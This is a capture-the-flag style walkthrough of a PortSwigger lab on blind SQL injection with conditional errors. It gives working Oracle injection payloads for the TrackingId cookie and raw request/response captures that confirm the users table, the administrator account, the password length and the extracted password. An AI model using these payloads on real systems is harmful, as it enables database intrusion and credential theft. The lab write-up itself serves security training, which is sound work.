

## Lab: Blind SQL injection with conditional errors

- Use this payload in the TrackingId parameter in the cookies (' **AND (SELECT CASE WHEN (1=1) THEN TO\_CHAR(1/0) ELSE 'a' END FROM dual)** = 'a' -- -).
- In case of true, it returns '500 Internal Server Error', else '200 ok'

Request		Response	
Pretty	Raw Hex	Pretty	Raw Hex Render
1	GET / HTTP/2	1	HTTP/2 500 Internal Server Error
2	Host: Oae900650338d83c81e78e2500130063.web-security-academy.net	2	Content-Type: text/html; charset=utf-8
3	Cookie: TrackingId=zSK3VXT95TUvv2CJ' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual) = 'a' -- -;	3	X-Frame-Options: SAMEORIGIN
4	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0	4	Content-Length: 2226
5	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8	5	<!DOCTYPE html>
6	Accept-Language: en-US,en;q=0.5	6	<html>
7	Accept-Encoding: gzip, deflate, br	7	<head>
8	Upgrade-Insecure-Requests: 1	8	<link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
9	Sec-Fetch-Dest: document	9	<link href=/resources/css/labs.css rel=stylesheet>
10	Sec-Fetch-Mode: navigate	10	<title>
11	Sec-Fetch-Site: none	11	Blind SQL injection with conditional errors
12	Sec-Fetch-User: ?1	12	</title>
13	Priority: u=0, i	13	</head>
14	Te: trailers	14	<script src=/resources/labheader/js/labHeader.js">
15		15	</script>
16		16	<div id="academyLabHeader">
		17	<section class='academyLabBanner'>
		18	<div class=container>
		19	<div class=logo>
		20	</div>
		21	<div class=title-container>
			<h2>
			Blind SQL injection with conditional errors
			</h2>
			<a class=link-back href='https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors'>
			Back&nbsp;to&nbsp;lab&nbsp;desc

  

Request		Response	
Pretty	Raw Hex	Pretty	Raw Hex Render
1	GET / HTTP/2	1	HTTP/2 200 OK
2	Host: Oae900650338d83c81e78e2500130063.web-security-academy.net	2	Content-Type: text/html; charset=utf-8
3	Cookie: TrackingId=zSK3VXT95TUvv2CJ' AND (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual) = 'a' -- -;	3	X-Frame-Options: SAMEORIGIN
4	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0	4	Content-Length: 11329
5	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8	5	<!DOCTYPE html>
6	Accept-Language: en-US,en;q=0.5	6	<html>
7	Accept-Encoding: gzip, deflate, br	7	<head>
8	Upgrade-Insecure-Requests: 1	8	<link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
9	Sec-Fetch-Dest: document	9	<link href=/resources/css/labsEcommerce.css rel=stylesheet>
10	Sec-Fetch-Mode: navigate	10	<title>
11	Sec-Fetch-Site: none	11	Blind SQL injection with conditional errors
12	Sec-Fetch-User: ?1	12	</title>
13	Priority: u=0, i	13	</head>
14	Te: trailers	14	<body>
15		15	<script src=/resources/labheader/js/labHeader.js">
16		16	</script>
		17	<div id="academyLabHeader">
		18	<section class='academyLabBanner'>
		19	<div class=container>
		20	<div class=logo>
		21	</div>
			<div class=title-container>
			<h2>
			Blind SQL injection with conditional errors
			</h2>
			<a class=link-back href='https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors'>

- Check if users table is there using this payload (' AND (SELECT CASE WHEN ((select 'z' from users WHERE ROWNUM = 1)='a') THEN

TO\_CHAR(1/0) ELSE 'a' END FROM dual) = 'a' --  
-)

- In case of true, it returns '500 Internal Server Error',  
else '200 ok'

**Request**

PrettyRawHex

1GET / HTTP/2  
2Host: Oae900650338d83c81e78e2500130063.web-security-academy.net  
3Cookie: TrackingId=zSK3VXT95TUvvZCJ' AND (SELECT CASE WHEN  
4((select 'z' from users WHERE ROWNUM = 1)='a') THEN  
5TO\_CHAR(1/0) ELSE 'a' END FROM dual) = 'a' -- -; session=  
6c31iLT0rZLK1WdidLf0WHmNsLDhEix5L  
7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;  
8rv:135.0) Gecko/20100101 Firefox/135.0  
9Accept:  
10text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.  
118  
12Accept-Language: en-US,en;q=0.5  
13Accept-Encoding: gzip, deflate, br  
14Upgrade-Insecure-Requests: 1  
15Sec-Fetch-Dest: document  
16Sec-Fetch-Mode: navigate  
17Sec-Fetch-Site: none  
18Sec-Fetch-User: ?1  
19Priority: u=0, i  
20Te: trailers  
21

**Response**

PrettyRawHexRender

1HTTP/2 200 OK  
2Content-Type: text/html; charset=utf-8  
3X-Frame-Options: SAMEORIGIN  
4Content-Length: 11329  
5  
6<!DOCTYPE html>  
7<html>  
8<head>  
9<link href=  
10/resources/labheader/css/academyLabHeader.css rel=  
11stylesheet>  
12<link href=/resources/css/labsEcommerce.css rel=  
13stylesheet>  
14<title>  
15Blind SQL injection with conditional errors  
16</title>  
17</head>  
18<body>  
19<script src="/resources/labheader/js/labHeader.js">  
20</script>  
21<div id="academyLabHeader">  
22<section class='academyLabBanner'>  
23<div class=container>  
24<div class=logo>  
25</div>  
26<div class=title-container>  
27<h2>  
28Blind SQL injection with  
29conditional errors  
30</h2>  
31<a class=link-back href='  
32https://portswigger.net/web-sec  
33urity/sql-injection/blind/lab-c  
34onditional-errors'>

**Request**

PrettyRawHex

1GET / HTTP/2  
2Host: Oae900650338d83c81e78e2500130063.web-security-academy.net  
3Cookie: TrackingId=zSK3VXT95TUvvZCJ' AND (SELECT CASE WHEN  
4((select 'a' from users WHERE ROWNUM = 1)='a') THEN  
5TO\_CHAR(1/0) ELSE 'a' END FROM dual) = 'a' -- -; session=  
6c31iLT0rZLK1WdidLf0WHmNsLDhEix5L  
7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;  
8rv:135.0) Gecko/20100101 Firefox/135.0  
9Accept:  
10text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.  
118  
12Accept-Language: en-US,en;q=0.5  
13Accept-Encoding: gzip, deflate, br  
14Upgrade-Insecure-Requests: 1  
15Sec-Fetch-Dest: document  
16Sec-Fetch-Mode: navigate  
17Sec-Fetch-Site: none  
18Sec-Fetch-User: ?1  
19Priority: u=0, i  
20Te: trailers  
21

**Response**

PrettyRawHexRender

1HTTP/2 500 Internal Server Error  
2Content-Type: text/html; charset=utf-8  
3X-Frame-Options: SAMEORIGIN  
4Content-Length: 2226  
5  
6<!DOCTYPE html>  
7<html>  
8<head>  
9<link href=  
10/resources/labheader/css/academyLabHeader.css rel=  
11stylesheet>  
12<link href=/resources/css/labs.css rel=stylesheet>  
13<title>  
14Blind SQL injection with conditional errors  
15</title>  
16</head>  
17<script src="/resources/labheader/js/labHeader.js">  
18</script>  
19<div id="academyLabHeader">  
20<section class='academyLabBanner'>  
21<div class=container>  
22<div class=logo>  
23</div>  
24<div class=title-container>  
25<h2>  
26Blind SQL injection with  
27conditional errors  
28</h2>  
29<a class=link-back href='  
30https://portswigger.net/web-security/  
31sql-injection/blind/lab-conditional-  
32errors'>  
33Back&nbsp;to&nbsp;lab&nbsp;descr

- Check if administrator is found in users table as username using this payload (' **AND (SELECT CASE WHEN ((select 'a' from users WHERE ROWNUM = 1 and username='administrator')='a') THEN TO\_CHAR(1/0) ELSE 'a' END FROM dual) = 'a' -- -)**

Request

PrettyRawHex

1 GET / HTTP/2  
2 Host: Oae900650338d83c81e78e2500130063.web-security-academy.net  
3 Cookie: TrackingId=zSK3VXT95TUwvZCJ AND (SELECT CASE WHEN ((select 'a' from users WHERE ROWNUM = 1 and username='administrator')='a') THEN TO\_CHAR(1/0) ELSE 'a' END FROM dual) = 'a' -- --; session=c31iLT0rZLKlWdidLf0WHmNsLDhEix5L  
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0  
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
6 Accept-Language: en-US,en;q=0.5  
7 Accept-Encoding: gzip, deflate, br  
8 Upgrade-Insecure-Requests: 1  
9 Sec-Fetch-Dest: document  
10 Sec-Fetch-Mode: navigate  
11 Sec-Fetch-Site: none  
12 Sec-Fetch-User: ?1  
13 Priority: u=0, i  
14 Te: trailers  
15  
16

Response

PrettyRawHexRender

1 HTTP/2 500 Internal Server Error  
2 Content-Type: text/html; charset=utf-8  
3 X-Frame-Options: SAMEORIGIN  
4 Content-Length: 2226  
5  
6 <!DOCTYPE html>  
7 <html>  
8 <head>  
9 <link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>  
10 <link href=/resources/css/labs.css rel=stylesheet>  
11 <title>Blind SQL injection with conditional errors</title>  
12 </head>  
13 <script src=/resources/labheader/js/labHeader.js></script>  
14 <div id="academyLabHeader">  
15 <section class="academyLabBanner">  
16 <div class="container">  
17 <div class="logo"></div>  
18 <div class="title-container">  
19 <h2>Blind SQL injection with conditional errors</h2>  
20 <a class="link-back" href="https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors">  
21 Back&nbsp;to&nbsp;lab&nbsp;descr

Request

PrettyRawHex

1 GET / HTTP/2  
2 Host: Oae900650338d83c81e78e2500130063.web-security-academy.net  
3 Cookie: TrackingId=zSK3VXT95TUwvZCJ AND (SELECT CASE WHEN ((select 'z' from users WHERE ROWNUM = 1 and username='administrator')='a') THEN TO\_CHAR(1/0) ELSE 'a' END FROM dual) = 'a' -- --; session=c31iLT0rZLKlWdidLf0WHmNsLDhEix5L  
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0  
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
6 Accept-Language: en-US,en;q=0.5  
7 Accept-Encoding: gzip, deflate, br  
8 Upgrade-Insecure-Requests: 1  
9 Sec-Fetch-Dest: document  
10 Sec-Fetch-Mode: navigate  
11 Sec-Fetch-Site: none  
12 Sec-Fetch-User: ?1  
13 Priority: u=0, i  
14 Te: trailers  
15  
16

Response

PrettyRawHexRender

1 HTTP/2 200 OK  
2 Content-Type: text/html; charset=utf-8  
3 X-Frame-Options: SAMEORIGIN  
4 Content-Length: 11329  
5  
6 <!DOCTYPE html>  
7 <html>  
8 <head>  
9 <link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>  
10 <link href=/resources/css/labsEcommerce.css rel=stylesheet>  
11 <title>Blind SQL injection with conditional errors</title>  
12 </head>  
13 <body>  
14 <script src=/resources/labheader/js/labHeader.js></script>  
15 <div id="academyLabHeader">  
16 <section class="academyLabBanner">  
17 <div class="container">  
18 <div class="logo"></div>  
19 <div class="title-container">  
20 <h2>Blind SQL injection with conditional errors</h2>  
21 <a class="link-back" href="https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors">

- Get administrator's password length using this payload (' AND (SELECT CASE WHEN ((select

**LENGTH(password) from users WHERE ROWNUM = 1 and username='administrator')=1) THEN TO\_CHAR(1/0) ELSE 'a' END FROM dual) = 'a' -- -), Increase the number that you compare with the password length until an error happens. (I'll use a python script)**

The screenshot displays a web browser's developer tools, specifically the Network tab, showing an HTTP request and its corresponding response.

**Request:**

- Method:** GET
- URL:** / HTTP/2
- Host:** 0ae900650338d83c81e78e2500130063.web-security-academy.net
- Cookie:** TrackingId=zSK3VXT95TUwvZCJ AND ((select LENGTH(password) from users WHERE ROWNUM = 1 and username='administrator')=1) THEN TO\_CHAR(1/0) ELSE 'a' END FROM dual) = 'a' -- -; session=c31iLT0rZLKlWdidLf0WHmNsLDhEix5L
- User-Agent:** Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
- Accept:** text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8
- Accept-Language:** en-US,en;q=0.5
- Accept-Encoding:** gzip, deflate, br
- Upgrade-Insecure-Requests:** 1
- Sec-Fetch-Dest:** document
- Sec-Fetch-Mode:** navigate
- Sec-Fetch-Site:** none
- Sec-Fetch-User:** ?1
- Priority:** u=0, i
- Te:** trailers

**Response:**

- Status:** HTTP/2 200 OK
- Content-Type:** text/html; charset=utf-8
- X-Frame-Options:** SAMEORIGIN
- Content-Length:** 11329
- HTML Content:**

```
<!DOCTYPE html>
<html>
  <head>
    <link href=
      /resources/labheader/css/academyLabHeader.css rel=
      stylesheet>
    <link href=/resources/css/labsEcommerce.css rel=
      stylesheet>
    <title>
      Blind SQL injection with conditional errors
    </title>
  </head>
  <body>
    <script src="/resources/labheader/js/labHeader.js">
    </script>
    <div id="academyLabHeader">
      <section class="academyLabBanner">
        <div class=container>
          <div class=logo>
          </div>
          <div class=title-container>
            <h2>
              Blind SQL injection with
              conditional errors
            </h2>
            <a class=link-back href=
              https://portswigger.net/web-sec
              urity/sql-injection/blind/lab-c
              onditional-errors'>
```

- After running the script, Password Length: 20
- Get Password Character by Character using the same payload (' AND (SELECT CASE WHEN ((select LENGTH(password) from users WHERE ROWNUM = 1 and username='administrator')=1) THEN TO\_CHAR(1/0) ELSE 'a' END FROM dual)

= 'a' -- -)

Request

PrettyRawHex

1GET / HTTP/2

2Host: Oae900650338d83c81e78e2500130063.web-security-academy.net

3Cookie: TrackingId=zSK3VXT95TUvv2CJ' AND (SELECT CASE WHEN (SUBSTR('foobar', 1, 1)='a') THEN TO\_CHAR(1/0) ELSE 'a' END FROM dual) = 'a' -- -) session=c31iLT0rZLKlWdidLf0WHmNsLDhEix5L

4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0

5Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

6Accept-Language: en-US,en;q=0.5

7Accept-Encoding: gzip, deflate, br

8Upgrade-Insecure-Requests: 1

9Sec-Fetch-Dest: document

10Sec-Fetch-Mode: navigate

11Sec-Fetch-Site: none

12Sec-Fetch-User: ?1

13Priority: u=0, i

14Te: trailers

15

16

Response

PrettyRawHexRender

1HTTP/2 200 OK

2Content-Type: text/html; charset=utf-8

3X-Frame-Options: SAMEORIGIN

4Content-Length: 11329

5

6<!DOCTYPE html>

7<html>

8<head>

9<link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>

10<link href=/resources/css/labsEcommerce.css rel=stylesheet>

11<title>Blind SQL injection with conditional errors</title>

12</head>

13<body>

14<script src=/resources/labheader/js/labHeader.js></script>

15<div id=academyLabHeader>

16<section class=academyLabBanner>

17<div class=container>

18<div class=logo>

19<div class=title-container>

20<h2>Blind SQL injection with conditional errors</h2>

21<a class=link-back href=https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors>

0 highlights

0 highlights

- Administrator's Credentials (username='administrator', pass='jo202u5cp7pgqwvaodnf')

Web Security Academy

Blind SQL injection with conditional errors

LAB Solved

Back to lab description >>

Congratulations, you solved the lab!

Share your skills! Continue learning >>

Home | My account | Log out

My Account

Your username is: administrator

Email

Update email